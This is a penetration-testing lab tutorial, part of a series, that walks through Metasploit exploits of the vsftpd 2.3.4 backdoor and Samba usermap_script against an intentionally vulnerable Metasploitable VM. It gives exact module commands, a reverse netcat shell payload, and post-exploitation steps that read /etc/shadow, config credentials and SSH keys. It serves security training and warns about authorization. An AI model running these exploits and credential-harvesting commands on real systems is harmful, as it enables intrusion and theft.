This article is a hands-on lab guide teaching penetration testers how to execute their first Metasploit exploit against an intentionally vulnerable Metasploitable target. It demonstrates the complete five-command Metasploit workflow using the vsftpd 2.3.4 backdoor vulnerability to achieve root shell access in under 60 seconds, then reinforces the workflow by running a second exploit (Samba usermap_script) to distinguish between bind and reverse shell mechanisms. The article matters because it establishes the foundational module execution pattern that transfers to all subsequent Metasploit exploitation, providing both theory and practical exercises with explicit command sequences.
- Five-Command Metasploit Workflow StructureEvery Metasploit exploit follows an identical five-step structure: launch msfconsole, use the module, set RHOSTS (target IP), show options to verify configuration, and run the exploit. This consistent pattern applies whether exploiting a trivial backdoor or complex vulnerability, making it the foundational skill for all subsequent modules in the series.
- vsftpd 2.3.4 Backdoor MechanismCVE-2011-2523 is a deliberate backdoor inserted into vsftpd 2.3.4 source code that triggers when a username containing ':)' (a smiley face) is sent during FTP login, causing the service to open a root command shell on port 6200. This extreme simplicity makes it the ideal first module because it teaches the workflow without exploit complexity obscuring the process.
- Bind Shell vs Reverse Shell DistinctionThe vsftpd module creates a bind shell where the target opens port 6200 and the attacker connects inward (LHOST not needed). The Samba usermap_script module requires setting LHOST because it creates a reverse shell where the target connects outbound to the attacker's listener on port 4444. In real engagements with firewalls, reverse shells are more likely to succeed because outbound target connections are typically allowed while inbound connections to arbitrary ports are blocked.
- Post-Exploitation Enumeration SequenceAfter obtaining root access, the article prescribes an immediate enumeration sequence: confirm identity with id/whoami/hostname/uname, enumerate network services with netstat to discover internal-only services (bound to 127.0.0.1) not visible in external scans, extract credentials from /etc/passwd and /etc/shadow, find application config files, and locate SSH keys. This sequence reveals infrastructure the target considered safe because it wasn't externally exposed.
- Session Types and Their CapabilitiesThe vsftpd and Samba exploits produce command shell sessions that provide basic shell access and full filesystem access from root without privilege escalation needed. The article contrasts this with Meterpreter sessions (introduced in later labs) which provide advanced post-exploitation capabilities like file upload/download, process migration, screenshot capture, and keylogging through an on-target agent.
- Samba CVE-2007-2447 Command InjectionThe Samba usermap_script vulnerability (CVE-2007-2447) exploits unsanitised shell command substitution in the username map script feature—injecting shell metacharacters (backticks or $()) in the username causes arbitrary commands to execute as root, demonstrating a different exploitation class than vsftpd's straightforward backdoor trigger.
- Lab Environment and Authorization RequirementsThe article emphasizes this lab runs only on an isolated Metasploitable VM on a host-only network and explicitly warns that running Metasploit modules against systems without written authorization is illegal under laws like the Computer Fraud and Abuse Act (US) and Computer Misuse Act (UK), with legitimate use restricted to owned systems, authorized targets, or sanctioned lab environments.
- Output Sequence InterpretationThe exploit output follows a predictable sequence: FTP banner confirmation identifying the vulnerable version, backdoor trigger confirmation, UID verification showing uid=0 (root access), and session opened message including the internal port (6200 for vsftpd). Understanding this output sequence allows practitioners to verify exploitation success and diagnose failures through expected signals.
Bottom line: The five-command Metasploit workflow (use → set RHOSTS → show options → run) is identical across all exploits regardless of complexity, making it the core skill to internalize through the simplest possible example (vsftpd backdoor) before tackling complex modules. Understanding bind shells versus reverse shells and performing systematic post-exploitation enumeration immediately after shell access are equally critical to successful penetration testing beyond the initial exploitation moment.
Part of the Metasploitable Lab Series
🎯 What You’ll Master in Metasploitable Lab 4
⏱️ 35 min · 3 exercises · Lab 4 of 10
✅ Before You Start
- Lab 3 — Service Enumeration — the attack matrix from Lab 3 identified vsftpd 2.3.4 as Critical priority. Today I run the exploit. Have your Metasploitable IP ready from Lab 2.
- Metasploitable 2 running on host-only network · Kali Linux · msfconsole accessible
📋 Lab 4 — Metasploit + Metasploitable First Module
Lab 4 is the payoff for Labs 2 and 3. The service enumeration from Lab 3 confirmed vsftpd 2.3.4 with the backdoor present. The full exploitation methodology is in the Ethical Hacking course. Use the Port Scanner Tool to confirm port 21 is open before starting.
msfconsole — The Five-Command Workflow
The five-command structure I use is identical whether I’m on Metasploitable or a real engagement target. Every Metasploit exploit follows the same five-command structure. Learning it on the simplest possible exploit (vsftpd backdoor — no payload selection, no options to configure) means when you move to complex modules with dozens of options, the structure is already familiar.
vsftpd 2.3.4 Backdoor — Root Shell in 60 Seconds
The vsftpd backdoor is the first exploit I run on every new Metasploitable session — it confirms the lab is working. The vsftpd 2.3.4 backdoor is the first exploit I run on every new Metasploitable instance. It takes under 60 seconds from msfconsole prompt to root shell. The exploit is this simple because the backdoor’s mechanism is this simple: send “:)” in the username field, connect to port 6200.
⏱️ 15 minutes · msfconsole
Run the five-command sequence exactly as shown. The goal: root shell confirmed with id output showing uid=0. Screenshot it. This is the moment Metasploit becomes a tool you’ve used, not just read about.
msfconsole -q
Wait for: msf6 >
Step 2: Select module
use exploit/unix/ftp/vsftpd_234_backdoor
Prompt changes to: msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Step 3: Set target
set RHOSTS [YOUR_METASPLOITABLE_IP]
Confirm: RHOSTS => [IP]
Step 4: Review options
show options
Confirm RHOSTS is set. Is RPORT default 21?
Step 5: Run it
run
Watch the output. Look for:
[+] Backdoor service has been spawned
[+] UID: uid=0(root)
[*] Command shell session opened
Step 6: Confirm root
id
Expected: uid=0(root) gid=0(root)
whoami
Expected: root
hostname
What is the machine name?
If the exploit fails:
Check Metasploitable is running: ping [IP]
Check port 21 is open: nmap -p21 [IP]
Retry: run
📸 Screenshot showing uid=0(root) in your shell. Share in #metasploitable-labs. Tag #FirstRootShell
Post-Exploitation — What to Do With Root Access
My post-exploitation sequence runs in the same order on every compromised system. Root access is the start, not the end. The post-exploitation commands I run immediately after getting a shell are always the same sequence: confirm identity, enumerate the system, extract credentials, and establish persistence. Here’s the sequence for the vsftpd shell.
⏱️ 10 minutes · from your root shell
From the root shell obtained in Exercise 1, run the complete post-exploitation sequence. Document every finding that would go in a pentest report.
Step 1: System identity
id && hostname && uname -a
Note the kernel version — useful for later privilege escalation research.
Step 2: Read /etc/shadow
cat /etc/shadow | head -10
List 3 users with password hashes.
What hash format are they? (starts with $1$ = MD5, $6$ = SHA-512)
Step 3: DVWA database credentials
cat /var/www/dvwa/config/config.inc.php
What are the DVWA database credentials?
Step 4: Network enumeration
netstat -antp 2>/dev/null | grep LISTEN
How many services are listening locally (127.0.0.1) that weren’t visible externally?
This is why internal enumeration after exploitation always reveals more.
Step 5: Find SSH private keys
find /home /root -name “id_rsa” 2>/dev/null
find /home /root -name “authorized_keys” 2>/dev/null
Any SSH keys present?
Document: /etc/shadow hashes, DVWA DB creds, local-only services.
📸 Screenshot showing /etc/shadow content (first 5 lines). Share in #metasploitable-labs.
Second Module — Samba usermap_script
The Samba module is the second one I always run — it demonstrates the reverse shell difference clearly. The Samba usermap_script exploit (CVE-2007-2447) uses the same five-command workflow but demonstrates a different exploitation mechanism — command injection in the username field of an SMB connection. Running this second module after vsftpd proves the workflow generalises: same structure, different vulnerability class.
⏱️ 15 minutes · msfconsole · second module
Run the Samba usermap_script module. The key learning from this exercise: the difference between a bind shell (vsftpd) and a reverse shell (Samba) — and why reverse shells are more common in real engagements.
msfconsole -q
Step 2: Select Samba module
use exploit/multi/samba/usermap_script
show options — what options are REQUIRED?
Notice: LHOST is required (reverse shell)
Step 3: Configure
set RHOSTS [METASPLOITABLE_IP]
set LHOST [YOUR_KALI_IP]
set PAYLOAD cmd/unix/reverse_netcat
Step 4: Run
run
Wait for: Command shell session opened
Step 5: Confirm root
id
Expected: uid=0(root)
Step 6: Compare bind vs reverse shell
vsftpd: target opened port 6200 → you connected to target (BIND)
Samba: your Kali opened port 4444 → target connected to you (REVERSE)
Question: in a real engagement with a firewall,
which shell type is more likely to succeed? Why?
Document: working Samba exploit with comparison to vsftpd behaviour.
📸 Screenshot Samba root shell. Share in #metasploitable-labs. Tag your second root shell.
📋 Lab 4 Command Reference
🏆 Lab 4 Complete — First Metasploit Module
Five-command workflow, vsftpd root shell, post-exploitation enumeration, Samba second module, bind vs reverse shell distinction. The Metasploit workflow is now in muscle memory. Lab 5 dives deeper into the vsftpd exploitation chain and introduces Meterpreter for advanced post-exploitation.
🧠 Quick Check
❓ Frequently Asked Questions
What is the vsftpd 2.3.4 vulnerability?
What is the difference between a bind shell and reverse shell?
How does the Samba usermap_script exploit work?
What is a Metasploit session?
What commands do you run after getting a root shell?
Can I use these techniques on systems I don’t own?
Lab 3 — Service Enumeration
Lab 5 — vsftpd Backdoor Deep Dive
📚 Further Reading
- Lab 3 — Service Enumeration — The attack priority matrix from Lab 3 selected vsftpd as the first target. Understanding how the target was identified makes the exploitation workflow complete.
- Metasploitable Lab Series Hub — Complete series index. Lab 5 continues with a deeper dive into the vsftpd exploitation chain including manual exploitation without Metasploit.
- Port Scanner Tool — Quick port verification before each lab session. Confirms ports 21 and 445 are open before running the vsftpd and Samba modules.
- Metasploit Framework Download — The official Metasploit download page. Pre-installed in Kali Linux — this link is for standalone installation or updating the module database with msfupdate.
- Rapid7 — vsftpd 2.3.4 Backdoor Module Documentation — Official Rapid7 documentation for the vsftpd module including the CVE details, affected versions, and module usage reference.

